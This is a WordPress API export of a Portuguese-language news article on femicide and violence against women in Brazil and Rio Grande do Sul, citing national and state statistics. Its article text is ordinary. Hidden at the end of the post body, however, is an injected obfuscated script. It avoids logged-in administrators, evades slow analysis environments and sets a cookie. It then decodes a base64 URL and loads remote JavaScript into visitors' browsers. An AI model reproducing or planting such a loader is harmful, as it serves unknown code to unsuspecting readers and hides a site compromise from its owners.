{"id":4021,"date":"2026-02-28T19:56:50","date_gmt":"2026-02-28T19:56:50","guid":{"rendered":"https:\/\/www.jornalnotiserra.com.br\/?p=4021"},"modified":"2026-04-04T18:00:28","modified_gmt":"2026-04-04T18:00:28","slug":"mesmo-com-leis-mais-rigidas-rio-grande-do-sul-registrou-19-feminicidios-em-menos-de-2-meses","status":"publish","type":"post","link":"https:\/\/www.jornalnotiserra.com.br\/index.php\/2026\/02\/28\/mesmo-com-leis-mais-rigidas-rio-grande-do-sul-registrou-19-feminicidios-em-menos-de-2-meses\/","title":{"rendered":"Mesmo com leis mais r\u00edgidas, Rio Grande do Sul registrou 19 feminic\u00eddios em menos de 2 meses"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>Viol\u00eancia Contra a Mulher no Brasil: Mais de uma d\u00e9cada de n\u00fameros alarmantes<\/strong><\/p>\n<p>Dados oficiais sobre viol\u00eancia contra mulheres no Brasil e no Rio Grande do Sul mostram um quadro complexo: embora algumas estat\u00edsticas indiquem quedas pontuais, os n\u00fameros gerais permanecem altos e preocupantes \u2014 refor\u00e7ando que a viol\u00eancia de g\u00eanero ainda \u00e9 um dos principais desafios da seguran\u00e7a p\u00fablica e das pol\u00edticas sociais no pa\u00eds.<\/p>\n<p>O fen\u00f4meno da viol\u00eancia contra a mulher no Brasil \u00e9 hist\u00f3rico, transversal e profundamente enraizado nas rela\u00e7\u00f5es sociais. Mesmo com avan\u00e7os legislativos marcantes \u2014 como a tipifica\u00e7\u00e3o do feminic\u00eddio em 2015 e o recente aumento das penas com a Lei 14.994\/2024 \u2014 os n\u00fameros revelam que a viol\u00eancia letal contra mulheres permanece altamente preocupante.<\/p>\n<p>Relat\u00f3rios hist\u00f3ricos mostram que a viol\u00eancia letal contra mulheres no pa\u00eds cresceu substancialmente nas \u00faltimas d\u00e9cadas. Segundo o <em>Mapa da Viol\u00eancia<\/em>, entre 1980 e 2013 a taxa de homic\u00eddios femininos oscilou, com uma tend\u00eancia de crescimento no n\u00famero absoluto de mortes: de cerca de <strong>1.353 v\u00edtimas em 1980 para 4.762 em 2013<\/strong>, um aumento expressivo ao longo de tr\u00eas d\u00e9cadas.<\/p>\n<p>Dados mais recentes consolidam esse cen\u00e1rio de persist\u00eancia da viol\u00eancia: entre 2013 e 2023, cerca de <strong>47.463 mulheres foram assassinadas no Brasil<\/strong>, segundo o <em>Atlas da Viol\u00eancia 2025<\/em>.<\/p>\n<p>A tipifica\u00e7\u00e3o do feminic\u00eddio em 2015 inaugurou uma s\u00e9rie hist\u00f3rica que tamb\u00e9m aponta para crescimento no registro das mortes motivadas por g\u00eanero: de cerca de <strong>535 casos registrados no ano da lei at\u00e9 mais de 1.450 casos em 2024<\/strong>, quase triplicando os registros em uma d\u00e9cada.<\/p>\n<h3><strong>Cen\u00e1rio recente \u2014 2024 e 2025<\/strong><\/h3>\n<p>Em 2024, <strong>1.450 feminic\u00eddios foram oficialmente registrados no Brasil<\/strong>, um n\u00famero ligeiramente superior ao de 2023, mesmo com pequena redu\u00e7\u00e3o em outros casos de viol\u00eancia letal contra mulheres.<\/p>\n<p>Especialistas observam que, apesar de oscila\u00e7\u00f5es ano a ano, a viol\u00eancia letal contra mulheres n\u00e3o acompanha a tend\u00eancia de queda verificada nos homic\u00eddios gerais no pa\u00eds \u2014 um indicador de que as din\u00e2micas de viol\u00eancia de g\u00eanero exigem tratamento espec\u00edfico.<\/p>\n<p>Relat\u00f3rios informam que em 2025<strong>, foram registrados cerca de 1.470 feminic\u00eddios no pa\u00eds<\/strong>, indicando continuidade do fen\u00f4meno.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>Viol\u00eancia dom\u00e9stica no contexto mais amplo<\/strong><\/h3>\n<p>As mortes violentas s\u00e3o a face mais extrema de um espectro que inclui uma alta incid\u00eancia de viol\u00eancia dom\u00e9stica e familiar. Pesquisas internacionais observam que, globalmente, cerca de 35% das mulheres j\u00e1 sofreram viol\u00eancia f\u00edsica e\/ou sexual por parceiro \u00edntimo.<\/p>\n<p>No Brasil, estimativas do <em>Mapa da Viol\u00eancia 2015<\/em> mostravam que em 2013 cerca de <strong>50,3% dos homic\u00eddios de mulheres foram cometidos por familiares<\/strong> e mais de <strong>33% por parceiros ou ex-parceiros<\/strong> \u2014 refor\u00e7ando a \u00edntima rela\u00e7\u00e3o entre viol\u00eancia dom\u00e9stica e homic\u00eddios femininos.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>Situa\u00e7\u00e3o no Rio Grande do Sul<\/strong><\/h3>\n<p>No \u00e2mbito estadual, dados oficiais da Pol\u00edcia Civil e de observat\u00f3rios estatais apontaram que que o <strong>Rio Grande do Sul teve uma redu\u00e7\u00e3o dos casos de feminic\u00eddio em 2024<\/strong>, com 72 ocorr\u00eancias registradas, cerca de 15% a menos do que no ano anterior.<\/p>\n<p>Contudo, em 2026 o Rio Grande do Sul j\u00e1 inicia o ano com um cen\u00e1rio alarmante. <strong>Em menos de dois meses do ano de 2026, o estado registrou 19 feminic\u00eddios.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Cen\u00e1rio nacional<\/strong><\/p>\n<p>De acordo com dados compilados pelo <em>Minist\u00e9rio da Mulher, da Fam\u00edlia e dos Direitos Humanos<\/em>, em 2024 foram registrados cerca de <strong>1.450 casos de feminic\u00eddio<\/strong> em todo o Brasil, al\u00e9m de outros <strong>2.485 homic\u00eddios dolosos de mulheres e les\u00f5es corporais seguidas de morte<\/strong> \u2014 totalizando mais de 3.900 casos de viol\u00eancia letal contra mulheres no ano passado. Apesar de representar uma pequena redu\u00e7\u00e3o de aproximadamente 5% em rela\u00e7\u00e3o a 2023, os n\u00fameros continuam elevados.<\/p>\n<p>Al\u00e9m disso, o pa\u00eds registrou cerca de <strong>71.892 casos de estupro em 2024 \u2014 o equivalente a 196 epis\u00f3dios por dia<\/strong> \u2014 e, em mais de tr\u00eas quartos dos registros de viol\u00eancia contra a mulher, o agressor era do sexo masculino.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Entre 1980 e 2013<\/strong>, o n\u00famero anual de mulheres assassinadas mais que triplicou.<\/p>\n<p><strong>Entre 2015 e 2025<\/strong>, o Brasil manteve m\u00e9dia superior a 1.000 feminic\u00eddios por ano.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Gatilhos e explica\u00e7\u00f5es para as tend\u00eancias<\/strong><\/p>\n<p>Especialistas em seguran\u00e7a p\u00fablica apontam que a redu\u00e7\u00e3o de casos em algumas regi\u00f5es n\u00e3o pode ser interpretada de forma simplista. A tend\u00eancia de queda pode refletir melhorias nos mecanismos de den\u00fancia, pol\u00edticas estaduais mais articuladas e maior articula\u00e7\u00e3o entre for\u00e7as de seguran\u00e7a, mas ainda n\u00e3o garante que a viol\u00eancia de g\u00eanero esteja efetivamente sob controle.<\/p>\n<p>No Brasil como um todo, mesmo com a tipifica\u00e7\u00e3o do feminic\u00eddio como crime qualificado em 2015 e recentes amplia\u00e7\u00f5es penais (como o aumento das penas para 20 a 40 anos com a Lei 14.994\/2024), as causas estruturais que alimentam a viol\u00eancia \u2014 como desigualdade de g\u00eanero, depend\u00eancia econ\u00f4mica, machismo cultural e defici\u00eancia na rede de prote\u00e7\u00e3o \u00e0s v\u00edtimas \u2014 permanecem desafios centrais.<\/p>\n<p>&nbsp;<\/p>\n<h2><strong>Viol\u00eancia Dom\u00e9stica no panorama nacional mais recente<\/strong><\/h2>\n<ul>\n<li>Mais de <strong>70 mil registros de estupro por ano<\/strong> no pa\u00eds.<\/li>\n<li>Cerca de <strong>50% dos homic\u00eddios de mulheres s\u00e3o cometidos por familiares<\/strong>.<\/li>\n<li>Aproximadamente <strong>1\/3 dos casos s\u00e3o praticados por companheiros ou ex-companheiros<\/strong>.<\/li>\n<li>O Brasil registra, em m\u00e9dia, <strong>quatro mulheres assassinadas por dia<\/strong>.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><strong>O que os n\u00fameros n\u00e3o mostram<\/strong><\/p>\n<p>Embora os indicadores nacionais e estaduais forne\u00e7am par\u00e2metros importantes, eles n\u00e3o capturam completamente a extens\u00e3o da viol\u00eancia contra a mulher no Brasil. Muitos casos de viol\u00eancia dom\u00e9stica e tentativas de feminic\u00eddio n\u00e3o s\u00e3o registrados oficialmente por diversos motivos, incluindo medo da v\u00edtima, normaliza\u00e7\u00e3o de comportamentos abusivos e dificuldades de acesso \u00e0 justi\u00e7a.<\/p>\n<p>Ainda assim, os dados oficiais ressaltam uma realidade inescap\u00e1vel: a viol\u00eancia de g\u00eanero continua sendo uma crise persistente no Brasil e no Rio Grande do Sul, exigindo n\u00e3o apenas a\u00e7\u00f5es repressivas mais eficientes, mas pol\u00edticas p\u00fablicas integradas e preventivas que abordem as causas profundas do problema.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Viol\u00eancia Contra a Mulher no Brasil: Mais de uma d\u00e9cada de n\u00fameros alarmantes Dados oficiais sobre viol\u00eancia contra mulheres no Brasil e no Rio Grande do Sul mostram um quadro complexo: embora algumas estat\u00edsticas indiquem quedas pontuais, os n\u00fameros gerais permanecem altos e preocupantes \u2014 refor\u00e7ando que a viol\u00eancia de g\u00eanero ainda \u00e9 um dos&#8230;<\/p>\n","protected":false},"author":7,"featured_media":4022,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16],"tags":[],"_links":{"self":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4021"}],"collection":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/comments?post=4021"}],"version-history":[{"count":1,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4021\/revisions"}],"predecessor-version":[{"id":4023,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/posts\/4021\/revisions\/4023"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/media\/4022"}],"wp:attachment":[{"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/media?parent=4021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/categories?post=4021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jornalnotiserra.com.br\/index.php\/wp-json\/wp\/v2\/tags?post=4021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}